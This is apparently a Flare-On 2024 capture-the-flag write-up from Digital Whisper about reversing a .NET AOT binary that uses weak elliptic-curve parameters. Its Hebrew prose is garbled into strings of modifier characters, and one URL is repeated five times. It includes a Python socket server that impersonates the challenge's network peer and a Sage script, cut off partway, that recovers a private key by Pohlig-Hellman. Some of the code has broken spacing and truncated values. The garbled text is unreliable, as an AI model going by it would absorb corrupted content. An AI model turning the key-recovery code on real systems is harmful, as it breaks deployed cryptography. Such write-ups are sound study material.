˫ˮˬˣ˞ ˧˸˧˧ˢ ˨˧˶˴ ˶ˡ˯˪ ˣ˸ˣ˞ ˰˧˲ˣ˧˷ ˩πUTF-16LE ˪˟˞ ˰ˠ˶˟ ˧˸˧˞˶˷ ˣ˸ˣ˞ ˧˸˰ˡ˧ ˷˧˷ ˧˪ ˸˴˧˶˲ ˨˶ˡ Φ

˧˸˪ˠ˧ˠ ˸˞ ˢ˞˧ˠ˷ˢ ˸˥˞ˣ ˸ˣ˞˴ˣ˸ˢ ˷˞˶ˢ˸ˣˮˣ ˢ˸˧˧ˢ ˢ˧˧ˮ˲ˢ ˳˟ˣ˵˪ ECCurve ˪˷ BouncyCastle Η˭˞˩ ˶˟˩ 

˧˸ˮ˟ˢ ˪˩˩˷ ˢ˞˶ˮˢ ˶˟ˣˡˬ ˶ˠ˸˞˟ ˫˰ ˣ˦˲˧˶˵ ˪˷ ˸ˣˬˣ˵˰ ˸ˣ˧˦˲˧˪˞ ˧˸˦˪˥ˢˣ ˠ˧˷ˢ˪ ˫˧˪ˣ˟ˬ˧˯ ˧˶˞ˮ˧˟˪ Φ 

˧˸˧˷˰ ˸˞ˤ ˸˶ˤ˰˟ ˨˧˶ˡˬˢ ˢˤˢ ˧˸˲˶˧˴˷ ˫ˠ ˫ˡˣ˵ˬ Φ˧˸˶˴˧ ˦˵˧ˣ˶˲ C# AOT ˪˪ˣ˩˷ ˣ˩ˣ˸˟ ECCurve xπ

BigInteger ύ˧˩ ˢ˞˶ˮ ˸ˣˬˣ˵˰ˢ˷ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˢˤ˟ όˢˬˠˣˡ˪ ˢ˧˧˶˲˯ˢˬ BouncyCastle.Cryptography  Φ 

˸˞ ˡˣ˵ˢ ˧˸˸ˮ ˪πGPT ˟ˣ˸˩˪ ˧˪ Φ˟ˣ˷˥ ˟ˣ˸˩˪ ˡˣ˵ ˢˬˠˣˡ ˧˩ ˶˪˧˧˲ˬˣ˵ˢ ˱˧˰ˬ ˫˧˶˟ˡ ˞˪˷ ˷ˣˬ˧˷˟ Φ˧˶˥˞ 

˧˸˶˴˧˷ ˟˧˶˞ˮ˧ Σ˦ˣ˷˲ ˧˸˟˵˰ ˶˥˞ ˨˧˶ˡˬˢ Φ˨˧˶ˡˬˢ ˶˟˯ˣˬ ˟˦˧ˢ ˶ˣˤ˥˪ˣ ˣ˧˪˰ ˢ˲ ˢ˧ˢ˧ ˤˣ˟ˤ˟ ˭ˬˤ ˪˷ ˣˮ˪ˣ˩ Φ

˫˞ ˫˸˞ ˫˧˷ˬ˸˷ˬ ˟πGhidra x˞ Binary Ninja ˭ˬ ˫˸˯ˢ ˨˧˪ˢ˸ˢ˷ ˢ˧ˢ˧ ˢˮˣ˷ Φ˨˧˪ˢ˸ˢ ˸ˣ˥˲ ˟ˣ˷˥ Φ

ˢ˦ˮ˞ˣ˲ˢ ˞˧ˢ ˠ˧˷ˢ˪ ˫˧˪ˣ˟ˬ˧˯ Φ˨˩ˣ ˢˤ ˢ˞˶ˮ ˶˥˞˪ ˧˸˵˥ˬ˷ ˸˞ sπdatabase ˫ˡˣ˵ˢ Σ˧˸ˮ˰˦ ˸˞ s˳˟ˣ˵ 

˷ˡ˥ˬ ˧˸ˮ˰˦ˣ ˫˧˪ˣ˟ˬ˧˯Υ 

 

https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
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˨˩ˣ sπmanaged main ύ˧˶˥˞ ˫˧ˮ˸˷ˬˢΥό 

 

˟ˣˢ˴˟ ˢ˪ˣ˰˲ˢ ˸˧˷˞˶ˢ ˣˮ˪˷ ˣˮ˶˵˥˷ ˫ˡˣ˵ˬ Φˢ˷˰ˬ˪ ˫˞ ˪˩˸˯ˮ ˪˰ ˧˶˞ˮ˧˟ˢ ˣˮ˶˴˧˷ ˢˬˠˣˡ˩ ˫˰ 

˫˧˪ˣ˟ˬ˧˯ˢ Φ˭˧˥˟ˮ ˢ˪ˣ˰˲ˢ˷ ˸˞ˤˢ ˞˧ˢ ˢ˷˰ˬ˪ Program_Main Φˢˤ sπMain ˪˷ sπC# Φ˷˧ ˡˣ˰ ˨˶ˡ 

ˢ˩ˣ˶˞ ˣˮ˧ˮ˲˪ Σ˧˞ˡˣ ˫˸ˬ˷ ˟˪ ˧˸˧˯˧ˮ˷ ˫˴ˬ˴˪ ˫˧˶˟˯ˢ˟ ˫˧˶˸ˣ˧ˬ ˧˩ ˸ˬ˞ˢ ˞˧ˢ ˣˮ˥ˮ˞˷ ˡˣ˰ ˫˧˵ˣ˥˶ 

˭ˣ˶˸˲ˬ Φ˷˧ ˡˣ˰ ˦˯˧ˣˣ˦ ύx˞ ˢˬˣ˵˰ Σ˫˞ ˴˶˸ ˣJ ό˧˲˶ˠˣ˦˲˧˶˵Φ 

ˢ˶˰˷ˢˢ ˧˪˷ ˰ˠ˶˟ ˢˤ ˞˧ˢ ˧˶˞ˮ˧˟ˢ˷ ˶˟˥˸ˬ ˣˮ˧˪˞ ˪˩˩ˣ ˢ˞˶ˮˢ ˥˪ˣ˷ ˣˮ˪ ˢˡˣ˵ˮ ˪˰ ˢˬˣ˵˰ˢ ˸˧˦˲˧˪˞ˢ 

ˢ˲˴ˬˣ ˥˪˷ˮ˷ ˡˣ˰ ˢˡˣ˵ˮ ˸˞˴ˬˮ˷ ˪˰ ˢˬˣ˵˰ˢ ˫˞ˣ ˡˣ˵ˮˢ s˞˪ ˸˞˴ˬˮ ˪˰ ˢˬˣ˵˰ˢ Σ˧˶˞ˮ˧˟ˢ ˵˧˯˲ˬ ˳ˣ˶˪ Φ

ˣˮ˥ˮ˞ ˫˧˪˷˩ˮ Φ˸ˬ˞ˢ ˢ˶˰˷ˢˢ˷ ˸˞ˤˢ ˦˰ˬ˩ ˢˮˣ˩ˮ Σ˪˟˞ ˞˪ ˧˶ˬˠ˪ ˸˵˧ˣˡˬ Σ˱˩˸ ˭˧˟ˮ ˢˬ˪Φ 

˪˩˟ ˢ˶˵ˬ Σ˶ˣ˸˟ ˢ˪˥˸ˢ Σ˰˧ˠˢ ˭ˬˤˢ ˷˲˥˪ ˢ˲˧˞ ˢˬˣ˵˰ˢ ˸˧˦˲˧˪˞ˢ ˸˶ˡˠˣˬ Φπ˟Program_Main ˣˮ˪˷ 

˪˩ˣˮ ˸ˣ˞˶˪ ˢ˪ˣ˰˲ ˸ˮ˧˧ˮ˰ˬ ˸˞˶˵ˮ˷ ˫˧˧ˬ˰˲ ˱˴˶˟Υ 
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˭˥˟ˮ ˢ˸ˣ˞Υ 

 

ˢ˞˶ˮ ˶ˣ˯˵ ˦ˣ˷˲ Σˢ˞˶ˮ˩ ˸˪ˣ˰˲ ˢˮ˲˴ˢ ˥ˣˮ˰˧˲ ˪˷ ˣˢ˷ˬ Σ˧˶˥˞ ˧˸ˠ˟˧ˡ˷ ˧˸˧˪˧ˠ ˞˧ˢ˷ ˥ˣˮ˰˧˲˪ ˸ˣˤˣ˶˥ˬ Φ

˶˷˲˞ ˫ˠ ˫ˣ˶ˠ˪ ˢ˪ ˯ˣ˶˵˪  ύ˪˷ˬ˪ ˪˰ ˧ˡ˧ ˳˦˞˲ ϥˢ˪ˣ˰˲˪ ˨˩ ˪˧˩˸˷ ˸˞ ˢˡˣ˵˲ˢ int 2d ό˸ˣ˞˶˪ˣ ˸˞ sπ

backtrace ˯˲ˡˣˬ˷ ˣ˟˷ ˰˧˲ˣˬ ˫˷ˢ ˧˶ˣ˵ˬˢ ˪˷ ˢ˪ˣ˰˲ˢ π decryptStr Φ˪˩˟ ˢ˶˵ˬ Σˢ˪ˣ˰˲ˢ ˸˞ˤˢ ˢˡ˰ˣˮ 

˥ˮ˰˲˪ ˸ˣˤˣ˶˥ˬ Φ˟ˠ˞ Σ˧˸˷ˬ˧ˬ ˢ˸ˣ˞ ˫ˠ ˭ˣ˸˧˧˲˟ Σ˪˟˞ ˸ˬ˞ˢ ˵˧˲˯ˬ˷ ˦ˣ˷˲ ˠ˟ˡ˪ ˸ˣ˞˶˪ˣ ˸˞ ˨˶˰ ˢ˶ˤ˥ˢ 

ˢ˪˷ Φ˭˸˧ˮ ˢ˪ ˫˷ ˫˧˞˸ˬ Σ˪˟˞ ˢˬ ˸ˬ˞˟˷ ˭˧˧ˮ˰ˬ ˢ˟ ˞ˣˢ ˪˩ ˸ˣˬˣ˵ˬˢ ˫ˢ˟˷ ˞˧ˢ ˸˞˶˵ˮ Φ˸˥˞ ˸ˣ˪ˣ˰˲ˢ 

˸ˣˮˣ˷˞˶ˢ ˫ˢ˟˷ ˞˧ˢ ˸˞˶˵ˮ ˸˧˞˶ˮ ˨˩Υ 

 



 
 

  Flare-On 2024 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 168, ˶˟ˬ˴ˡ нлнп  пл 
 

ˢ˞˶ˮ ˣˮ˞˴ˬ˷ ˞ ˸ˢˬˣ˵˰ˢ ˸˧˦˲˧˪˞ˢ ˣˮ˪˷ Φ˷˧ ˣˮ˪ ˢ˷˧ˬ˥ ˫˧˩˶˰ ˫˧˰ˣ˟˵ ˶˷˲˞˷ ˞˧˴ˣˢ˪ ˫˰ ˶ˠ˞˟˧ˡΥ 

0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765 ... 
0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a9 ... 
0x9f939c02a7bd7fc263a4cc e416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9ee ... 
0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041 ... 
0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003... 

ˣ˧˷˩˰ ˧˸˞˴ˣˢ˷˩ ˸˞ ˫˧˩˶˰ˢ ˫˧˟ˣ˷˥ˢ ˣ˪˪ˢ Σ˰˧ˠˢ ˭ˬˤˢ ˭˧˟ˢ˪ ˢˬ ˫ˢ Φˡ˰˴ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ ˞ˣ˶˵˪ ˪˰ 

˸ˣˬˣ˵˰ ˸ˣ˧˦˲˧˪˞ Φ˧ˮ˞ ˳˧˪ˬˬ ˫ˣ˥˟ ˪˰ ˶ˬ˞ˬˢ ˫˧ˢˡˬˢ ˪˷ ˧˪˞ Σˣˮ˰ˡˣ˧ˬ Σ˶ˬ˞ˬˢ ˣ˪˷ ˢˣˣ˪˧ ˣˮ˸ˣ˞ ˨˶ˣ˞˪ 

˪˩ ˶˞˷ ˭ˣ˶˸˲ˢ: ˸ˣ˲˵˸ˢ ˸ˣ˰ˣˡ˧ ˪˰ Elliptic Curve Cryptography π ˢ˸˰ˬ ˢ˞˪ˢˣ ˧ˮ˞ ˨˪ˣˢ ˥˧ˮˢ˪ 

˫˸˞˶˵˷ ˣ˸ˣ˞Φ 

ˤ˞ ˫˧˶ˣˬ˞ ˸ˣ˧ˢ˪ ˣˮ˪ p,a,b ˸ˡˣ˵ˮˣ ˶ˣ˦˶ˮˠ Σˢ˞˶ˮ ˫˧˞˸ˬ ˪ˣ˟ ˢˬ˪ ˷˧˷ ˣˮ˪ Φ˫˞ ˪˩˸˯ˮ ˪˰ ˷ˣˬ˧ˬˢ ˪˷ 

fpCurve ˟πBouncyCastle ˢ˞˶ˮ ˸ˣ˪ˣ˰˲ ˫˰ ˸ˣ˶˸ˣ˩ˢΥ 

 

]ˢˤ ˫ˮˬˣ˞ ˡˣ˰˧˸ˢˬ ˪˷ sπJava ˪˟˞ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˢˢˤ ˪πC#ώ 

˶ˣ˶˟ ˷ˣ˪˷˷ ˸˫˧˩˶˰ˢ ˣ˷˞˶ˢ˫˧ˮ ˣˮ˪˷ ˫ˢ p,a,b ˢˮ˸˷ˬˢ p ˫ˣ˷ˬ ˢˬ ˞˶˵ˮ q ˫˪˴˞ όˢˬ ˫˰ ˧˸˷ 

˫˧˩˶˰ˢ ˫˧ˮˣ˶˥˞ˢ Κˢ˪˞ ˢ˞˶ˮ˩ ˧˩˶˰ x,y ˪˷ ˸ˡˣ˵ˮ ˶ˣ˦˶ˮˠˢ Φ˫ˡˣ˵ x ˶˥˞ˣ ˨˩ y Φ˧˸ˠ˟˧ˡ ˧ˡ˩ ˸ˬ˞˪ ˸˞ˤΦ 

ˣˮ˧˷˰ ˸ˣˬˡ˵˸ˢ ˸˧˸ˣ˰ˬ˷ˬ Σˣˮ˞˴ˬ ˸˞ ˢˬˣ˵˰ˢ ˸˧˦˲˧˪˞ˢ Φ˟ˣ˸˩ˮ ˡˣ˵ ˭˦˵ ˟πsage ˪˰ ˸ˮˬ ˞ˣ˴ˬ˪ ˢˡˣ˵ˮ 

˸˧˞˶˵˞ ˪˰ ˬˣ˵˰ˢ s˥˪˷ˮˣ ˧˶˞ˮ˧˟˪ ˢˣˣ˵˸˟ ˞˪˷ ˯ˣ˶˵˧ ˣˮ˪ Φ˶ˣ˩ˤ˩ ˣˮ˪ ˢ˶˰˷ˢˢ ˣˮ˪˷ ˢ˸˧˧ˢ ˧˶˞ˮ˧˟ˢ˷ 

˥˪ˣ˷ ˣˮ˪ ˢˡˣ˵ˮ ˪˰ ˢˬˣ˵˰ˢ ύx,y όˣˮ˥ˮ˞ˣ ˫˧˩˧˶˴ ˥ˣ˪˷˪ x˪ ˢˡˣ˵ˮ ˢ˶ˤ˥˟ π ˢˤ ˢ˷˰ˬ˪ key exchange ˧˲˩ 

˶˟˯ˣˬ˷ ˶ˬ˞ˬ˟ ˪˷ ˧˪˞: 

from sage.all import *  
 
p = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d8 41712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd 
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f  
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa3160 2167fa5380  

E = EllipticCurve(GF(p), [a,b])  
G = E(0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8 ,  
0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182 )  

 
A = 1337 * G 
print ( hex(A[ 0])[ 2:], hex(A[ 1])[ 2:])  

˧˸˶˥˟ моот ˸ˣ˧˸ˣ˶˧˶˷˟ Σˢˤ ˞˪ ˢˮ˷ˬ ˢˤ˧˞ ˨˶˰ ˶˥˟ˮ ˪˧˲˩ˢ˪ ˶ˣ˦˶ˮˠ˟ Σˢˤ ˫ˣˡˮ˞˶ˢ ˣˮ˪˷Φ 
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https://digitalwhisper.co.il/files/Zines/0xA6/DW166-1-ElipticCurvesAttacks.pdf
https://digitalwhisper.co.il/files/Zines/0xA6/DW166-1-ElipticCurvesAttacks.pdf
https://digitalwhisper.co.il/files/Zines/0xA6/DW166-1-ElipticCurvesAttacks.pdf
https://digitalwhisper.co.il/files/Zines/0xA6/DW166-1-ElipticCurvesAttacks.pdf
https://digitalwhisper.co.il/files/Zines/0xA6/DW166-1-ElipticCurvesAttacks.pdf
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˭˧ˤˮ ˸˞ ˢˡˣ˵ˮˢ ˸˞˴ˣ˧˷ ˧˶˞ˮ˧˟˪ ˢ˪ˠˮˣ ˞ˣˢ˷ ˯˶ˣ˵ ˣ˸ˣ˞˟ ˫ˣ˵ˬ Σˢˤ ˶ˬˣ˞˷: ϦInvalid point coordinatesϦΦ 

ˢˬ˪ ˢˡˣ˵ˮˢ ˞˪ ˢˮˣ˩ˮ ΗΚˤ˞ ˶ˣ˟˰ˮ ˡ˟˶˪˧˧˲ˬˣ˵˧Υ 

 

˫˰˲ˢ ˫˰ ˫˧˪ˣ˟ˬ˧˯ ˢˤ ˢ˟˶ˢ ˶˸ˣ˧ ˪˵ ˭˧˟ˢ˪ ˢˬ ˨˪ˣˢ Σˡ˥ˣ˧ˬ˟ ˫˧ˠ˟ˡˬ˷˩ Φˤ˞ ˧˸ˠ˟˧ˡ ˧˸˧˪˧ˠˣ ˧˩˶˰˷ 

ˢˡˣ˵ˮˢ ˣˮ˥ˮ˞˷ ˫˧˥˪˷ ˫˧˶˟ˣ˰ ˶ˣ˯˵ ˫˰ ˨˶˰ˢ ˢˤˢ Σˣ˸ˣ˞ ˶˟ˡ ˢ˶ˣ˵ ˫ˠ ˢˡˣ˵ˮ˪ ˸˥˪˷ˮ˷ ˣˮ˧˪˞ Υ 

0x13371337133713371337133713371337133713371337133713371337133713371337133713371
3371337133713371337 

˭˵˸ˮ  Σˠ˞ˡˮ ˶ˣ˯˵˪ ˸˞ ˧˩˶˰ ˢˡˣ˵ˮˢ ˫˰ ˰ˣ˟˵ˢ ˢˤˢ ˧ˮ˲˪ ˥˪˷ˮ˷ ˧˶˞ˮ˧˟˪ Φ˟ˠ˞ Σ˧ˡ˩ ˥ˣ˪˷˪ ˧˶˞ˮ˧˟˪ 

˧˸˟˸˩ ˸˞ ˦˲˧˶˵˯ˢ ˞˟ˢΥ 

import socket  
HOST = '192.168.56.103'  
PORT = 31337 
from time import sleep  
 
def xorbytes ( var , key ):  
    return bytes ( a ^ b for a, b in zip (var, key))  
 
xorval = 
bytes .fromhex( "1337133713371337133713371337133713371337133713371337133713371337
13371337133713371337133713371337")  
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:  
    s.bind((HOST, PORT))  
    s.listen( 1)  
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    print ( f "Listening on {HOST}:{PORT}..." )  
    conn, addr = s.accept()  
    with conn:  
        print ( 'Connected by' , addr)  
      
        x = conn.recv( 48)  
        print ( 'Received:' , x.hex())  
 
        y = conn.recv( 48)  
        print ( 'Received:' , y .hex())  
   
        our_x = input ( "enter public x as hex string: " ).strip()  
        response = xorbytes( bytes .fromhex(our_x), xorval)  
        conn.sendall(response)  
 
        our_y = input ( "enter public y as hex string: " ).strip()  
        response = xorbytes ( bytes .fromhex(our_y), xorval)  
        conn.sendall(response)  
        for i in range ( 100):  
            data = input ( "enter input as hexstring " ).strip()  
            conn.sendall( bytes .fromhex(data))  
        conn.close()  

ˢˤ ˡ˟˰ Ηˣˮ˶˟˰ ˸˞ ˵˪˥ˢ ˢˤˢ Ηˢˬ ˣ˧˷˩˰ Κ˭˩˟ˣ ˷˧ ˨˷ˬˢ ˸˶ˣ˷˵˸˪ ˫˰ ˸˶˷ˢ ˸ˣˡˣ˵˲ˣ ˣ˩ˣ ϥ˪˟˞ ˫ˠ ˭ˬˤ˟ 

˸ˬ˞ ˧˸ˮ˟ˢ ˢˤ˷ ˶˯˥ ˫˰˦ Σ˧˶ˢ ˶ˣ˶˟ ˧˪ ˪ˠˡˢ˷ ˢ˧ˢ˧ ˳˟ˣ˵˟ sπpcapng ˫˰ ˢ˶ˣ˟˰˸ˢ ˸ˮ˲˴ˣˬˢ ˸˧˞˶ˮ˷ 

˨˩Υ 

 

˸˶˥˞ ˞˪ ˣˮ˧˧ˢ ˫˧˪˟˵ˬ ˣ˸ˣ˞ ˢ˪˧˥˸˩˪ˬ Φˤ˞ ˢˬ ˣˮ˥ˮ˞˷ ˸ˬ˞˟ ˫˧˩˧˶˴ ˸ˣ˷˰˪ ˢˤ ˷˪˶ˣ˟ ˸˞ ˷ˣˬ˧ˬˢ ˪˷ 

ˢˮ˲˴ˢˢ Σ˸˟˧˧˥ ˸ˣ˧ˢ˪ ˢ˷˪ˣ˥ ˷ˣˬ˧ˬ˟ ˪˷ ˢˮ˲˴ˢˢ ˸˞ˤˢ Σ˭˩˪ ˧˸˶ˬ˞ ˶ˬ˞ˬˢ˷ ˧˪˷ ˧˪˞ ˪˩ ˨˩ ˟ˣ˷˥ Φ

˶ˠ˸˞ˢ ˧˸˧ˬ˞ˢ ˪˧˥˸ˬ ˣ˧˷˩˰ Φ 
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˧˸˶˟˰˷˩ ˪˰ ˸ˣ˲˵˸ˬˢ ˢˬ ˯˲˸˷ ˧˪ ˸˞ ˭˧˰ˢ ˢˤ ˶˲˯ˬˢ˷ ˞ˣˢ ˦˰ˬ˩ ˵˪˥ Φ˪˟˞ ˧˞ˮ˸ˢ ˞ˣˢ ˥˸˲ˬˢ˷ 

ˢ˧ˢ˧ ˭˦˵ x˞ ˢˣˣ˷ ˪ˡˣˠ˪ ˢ˪˲˩ˬˢ ˪˷ ˪˩ ˧˶ˣ˦˵˲ˢ ˫˧ˮ˞˷ ˭˩ ˯˧ˮ˩ˬ ˟ˣ˷˧˥˪ x˞ ˫˧˪˧ˬ˟ ˪˷ ˧˪˞Υ 

˭˸˧ˮ ˳˧˶ˢ˪ ˸˞ Algorithm Hellman-Pohlig Σ˪˟˞ Ϧ˶˸ˣˣ˪ Ϧˣ˟ ˪˰ sϦ˫˧˪ˠ˰ˬ Ϧ˫˧˪ˣˡˠˢ ˧ˡˬ Σ˧˞ˮ˸˟ ˸˪˲˩ˬ˷ 

˧˶ˡ˯ sϦ˫˧˪ˠ˰ˬ Ϧ˫˧˶˸ˣˮˢ ˢ˧ˢ˸ ˨˶ˣ˞˟ ˪˷ ˸ˣ˥˲˪ ˨˶ˣ˞ ˥˸˲ˬˢ ˧˦˶˲ˢΦ 

ˢ˧˰˟ˢ ˥˸˲ˬˢ˷ ˞ˣˢ ˨˶ˣ˞˟ мну ˫˧˦˧˟ Σ˞˪ ˧˸˵ˡ˟ Σ˧˸˷˥˧ˮ Σ˪˟˞ ˱˩˸ ˶˶˟˸˧ ˢˤ˷ ˭ˣ˩ˮ Φˢ˪˞˷ˢ ˞˧ˢ ˢˬ 

ˢ˶ˣ˵ ˫˞ ˨˶˰ ˸˪˲˩ˬ ˫˧˶ˣ˦˵˲ˢ ˣˮ˥ˮ˞˷ ˭˩ ˫˧˯˧ˮ˩ˬ ˟ˣ˷˧˥˪ ˭˦˵ ˨˶ˣ˞ˬ ˥˸˲ˬˢ Σˢˬ ˢ˞˴ˣ˸ˢ ˣˮ˥ˮ˞˷ 

˫˧˪˟˵ˬ ˸ˠ˴˧˧ˬ Κ˧˸˰˵˸ˮ ˭˞˩ ˫˧ˬ˧ ˫˧ˬ˪˷ Φ˶˥˞˪ ˢ˟˷˥ˬ ˢ˟˶ ˭ˣ˧˯˧ˮˣ ˭˧ˣˣ˩ˢ˪ ˸˞ GPT ˶ˣˤ˰˪ ˧˪ Σ˱ˣ˯ ˱ˣ˯ 

˞ˣˢ ˦˪˲ ˣˢ˷ˬ ˧˷ˣˬ˧˷ ˧˸ˮ˟ˢˣ ˪˟˵ˮ˷ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˣ˪ˣˡˣˬ ˸˞˴ˣ˸ ˢ˪˲˩ˬˢ Σ˞˶˵ˮ ˢ˞˴ˣ˸˪ xʕ 

˥˸˲ˬˢ ˧˵˪˥ˢ Φ˫˧˟˷ˣ˥˷˩ ˪˰ ˢˤ Σˢˤ ˵ˣ˧ˡ˟ ˢ˟˧˯ˢ ˧˞ˮ˸ˢ˷ ˫˧˧˵ x˞ ˸ˣ˥˲˪ ˨˩ ˧˲˪ ˧˸ˮ˟ˢ Φ 

˭˞˩ˬ ˶˷˲˞ ˵˧˯ˢ˪ ˥˸˲ˬˢ˷ ˫˪˷ˢ ˧ˣˮ˟ ˢ˩˩Υ 

partial_key + mul_amount * mul_result_factors 

˧˩ ˢ˩˩ ˣ˪ˣˡˣˬ ˡ˟ˣ˰ Σ˫˞ ˱˧˯ˣˮ ˸˞ ˸ˣˬ˩ˢ ˢˮˣ˩ˮˢ ˪˷ ˫˧ˬ˰˲ˢ ˣ˲˧˯ˣˢ˷ ˥˸˲ˬ˪ ˧˵˪˥ˢ ˸˞ ˫ˣ˩˯ ˪˲˩ˢ ˪˷ 

˫˧˶ˣ˦˵˲ˢ ˤ˞ ˰˧ˠˮ ˥˸˲ˬ˪ ˫˪˷ˢ ˭ˣ˩ˮˢ Φˤ˞ ˧˸˟˷˥ ˪˰ ˯˶ˣ˲˦ˣ˶˟ Σ˨˞ ˷˧ ˭˞˩ ˧˸˷ ˸ˣ˧˰˟ Σ˫ˡˣ˵ ˪˩ ˨˧˞ ˰ˡˮ 

˫˞ ˣˮ˰ˠˢ ˥˸˲ˬ˪ ˭ˣ˩ˮˢ ˸˧ˮ˷ˣ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢˤ˷ ˪˲˩ˣˢ ˸ˣˬ˩ ˧˸˪˟ ˢ˶˧˟˯ ˪˷ ˫˧ˬ˰˲ x˞ ˫˧˪˧ˬ˟ ˸ˣ˶˥˞ ˪ˣ˩˧ 

˸ˣ˧ˢ˪ ˟˥˶ˬ˷ ˷ˣ˲˧˥ˢ ˣˮ˪˷ ˵ˮ˰ Σ˞˪Κ  

ˢ˟ˣ˷˸ˢ ˢ˪˞˷˪ ˢˮˣ˷˞˶ˢ ˞˧ˢ ˡ˥π˸˧˰ˬ˷ˬ ˞˪ Η˫˧˶˯˥ ˣˮ˪ ˵˶ мс ˫˧˦˧˟ ˥˸˲ˬ˪ Φ˟ˠ˞ Σ˪˪ˠ˟ ˢˤ ˸ˡˣ˵ˮ˟ 

˭ˬˤˢ ˸˞ˤˢ ˧˸˧˧ˢ ˪˩ ˨˩ ˥ˣ˦˟ ˷ˣ˥˧ˮ˟ ˧˪˷ ˧˟ˠ˪ ˪ˡˣˠ ˥˸˲ˬˢ ˧˦˶˲ˢ  Φ˫˧˪ˡˠ ˢ˟˶ˢ ˶˟˰ˬ ˫ˢ ˶˟˩ ˧˸˪˟ 

˫˧˶˧˟˯ xπмну ˢˤ ˶˲˯ˬ ˪ˣˠ˰ ˢ˲˧ˣ Σ˸ˣ˥˲˪ ˣˮ˶ˣ˟˰ ˧˷ˮ˞ ˫˧˟˷˥ˬˢΦ 

ˢ˟ˣ˷˸ˢ ˢ˪˞˷˪ ˧ˮ˷ˢˢ˧ ˞˧ˢ ˢ˦ˣ˷˲ ˧ˡˬ˪ Σ˪˩˟ ˢ˧˴˶˦˧˞ ˶ˣ˴˧ˮ ˥˸˲ˬ ˪˧˲˩ˮˣ ˣ˸ˣ˞ ˶ˣ˦˶ˮˠ˟ ˪˷ ˢˬˣ˵˰ˢ 

˸˧˦˲˧˪˞ˢ ˸˧˶ˣ˵ˬˢ ˵ˣˡ˟ˮˣ ˫˞ˢ ˞˧ˢ ˸ˬ˞ˣ˸ ˸ˡˣ˵ˮ˪ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ π ˢˡ˧ˬ˟ ˭˩ˣ Σˤ˞ ˣˮ˥˴˧ˮ Σ˫˞ ˞˪ Σ

˶ˣ˟˰ˮ ˢ˧˴˶˦˧˞˪ ˢ˞˟ˢ Φ˶˞˷ˮ ˵˶ ˷ˬˬ˪ Σ˸˞ ˟ˣ˶ ˡˣ˵ˢ ˧˸˵˸˰ˢ ˶ˬ˞ˬˢˬ ˪˷ ˧˪˞ ύˢˡˣ˸ ˧˪˞ ΦόΗ˧˸˧˷˰ˣ 

˸˞ ˧˷ˢ˫˧˧ˣˮ ˫˧˷˶ˡˮˢ Σˣˬ˧˷ ˟˪ ˸˞˷ ˧˩˶˰ ˸ˣ˥˸˲ˬˢ ˫˧˧˶ˣ˟˧˴ˢ ˫˧˥˪˷ˮ˷ ˡ˥˞ ˧ˮ˷˪ Φ˧˸˞˴ˣˢ ˸˶ˣ˟˰˸ˬ 

˸˷˶ˢ ˧˸˧˷˰ˣ ˫ˢ˪ ˶ˣ˯˵ ˫˰ ˰ˣ˟˵ˢ ˪˷ sπмоот ˫ˡˣ˵ˬˬ Φˡˣ˵ˢ ˶ˤ˥˷˪ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˪˷ ˡ˥˞ ˫ˢˬ 

ˢ˞˶ˮ ˨˩ ύ˵˧˲˯ˬ ˡ˥˞ ˪˧˟˷˟ sπshared secretΥό 

from sage.all import *  
xorval = 0x1337133713371337133713371337133713371337...  
p = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3 ...  
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160 ...  
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f ...  
E = EllipticCurve(GF(p), [a,b])  
G = E(0x087b5fe3ae6dcfb0e0 74b40f6208c8f6de4f4f0679d ...,  
0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b1 ...)  
n = G.order()  
# alice_pub = E((p1x ^ xorval) % p,  
#       (p1y ^ xorval)  % p)  
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# print((p2x ^ xorval) % p)  
# print((p2y ^ xorval) % p)  
bob_pub = E(27688886377906486650974531457404629460. ..,  
     205597373473800952798894658118465261514054125...)  
alice_pub = E(390272974913629072702145671307735281...,  
      82291098578672604869938313439794054886683879...)  
 
P = bob_pub # switch between alice and bob  
 
print ( "Number of bits in n :" , n.nbits())  
factors = n.factor()  
print ( "n's factors:" , factors)  
PRIVATE_KEY_BIT_SIZE = 112 
print ( "We know that the private key is" , PRIVATE_KEY_BIT_SIZE, "bits long" )  
print ( "Lets find which of the factors of G's order are relevant for finding the 
privat e key" )  
count_factors_needed = 0 
new_order = 1 
for p, e in factors:  
 new_order *= p^e 
 count_factors_needed += 1 
 if new_order.nbits() >= PRIVATE_KEY_BIT_SIZE: 
  print ( "Found enough factors! The rest are not needed" )  
  break  
factors = factors[:count_factor s_needed]  
print ( "Considering these factors:" , factors)  
print ( "Calculating discrete log for each quotient group..." )  
subsolutions = []  
subgroup = []  
Gs = []  
Ps = []  
for p, e in factors:  
 quotient_n = (n // p ^ e)  
 G0 = quotient_n * G # G0's order is p^e  
